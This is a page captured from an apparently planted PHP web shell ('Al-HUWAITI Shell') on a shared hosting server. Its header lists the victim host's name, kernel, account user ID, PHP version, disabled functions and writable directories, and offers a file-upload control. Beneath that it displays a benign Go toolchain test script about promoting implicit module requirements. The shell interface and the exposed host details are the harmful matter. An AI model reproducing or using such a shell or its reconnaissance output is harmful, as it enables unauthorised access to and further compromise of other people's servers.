Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux in-mum-web1333.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u141265441 ( 141265441)
PHP Version : 8.4.3
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /proc/self/root/opt/golang/1.22.0/src/cmd/go/testdata/script/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/opt/golang/1.22.0/src/cmd/go/testdata/script/mod_get_promote_implicit.txt
cp go.mod.orig go.mod

# If we list a package in an implicit dependency imported from the main module,
# we should get an error because the dependency should have an explicit
# requirement.
go list -m indirect-with-pkg
stdout '^indirect-with-pkg v1.0.0 => ./indirect-with-pkg$'
! go list ./use-indirect
stderr '^package m/use-indirect imports indirect-with-pkg from implicitly required module; to add missing requirements, run:\n\tgo get indirect-with-pkg@v1.0.0$'

# We can promote the implicit requirement by getting the importing package.
# NOTE: the hint recommends getting the imported package (tested below) since
# it's more obvious and doesn't require -d. However, that adds an '// indirect'
# comment on the requirement.
go get m/use-indirect
cmp go.mod go.mod.use
cp go.mod.orig go.mod

# We can also promote implicit requirements using 'go get' on them, or their
# packages. This gives us "// indirect" requirements, since 'go get' doesn't
# know they're needed by the main module. See #43131 for the rationale.
# The hint above recommends this because it's more obvious usage and doesn't
# require the -d flag.
go get indirect-with-pkg indirect-without-pkg
cmp go.mod go.mod.indirect

-- go.mod.orig --
module m

go 1.16

require direct v1.0.0

replace (
	direct v1.0.0 => ./direct
	indirect-with-pkg v1.0.0 => ./indirect-with-pkg
	indirect-without-pkg v1.0.0 => ./indirect-without-pkg
)
-- go.mod.use --
module m

go 1.16

require (
	direct v1.0.0
	indirect-with-pkg v1.0.0
)

replace (
	direct v1.0.0 => ./direct
	indirect-with-pkg v1.0.0 => ./indirect-with-pkg
	indirect-without-pkg v1.0.0 => ./indirect-without-pkg
)
-- go.mod.indirect --
module m

go 1.16

require (
	direct v1.0.0
	indirect-with-pkg v1.0.0 // indirect
	indirect-without-pkg v1.0.0 // indirect
)

replace (
	direct v1.0.0 => ./direct
	indirect-with-pkg v1.0.0 => ./indirect-with-pkg
	indirect-without-pkg v1.0.0 => ./indirect-without-pkg
)
-- use-indirect/use-indirect.go --
package use

import _ "indirect-with-pkg"
-- direct/go.mod --
module direct

go 1.16

require (
	indirect-with-pkg v1.0.0
	indirect-without-pkg v1.0.0
)
-- indirect-with-pkg/go.mod --
module indirect-with-pkg

go 1.16
-- indirect-with-pkg/p.go --
package p
-- indirect-without-pkg/go.mod --
module indirect-without-pkg

go 1.16

Al-HUWAITI Shell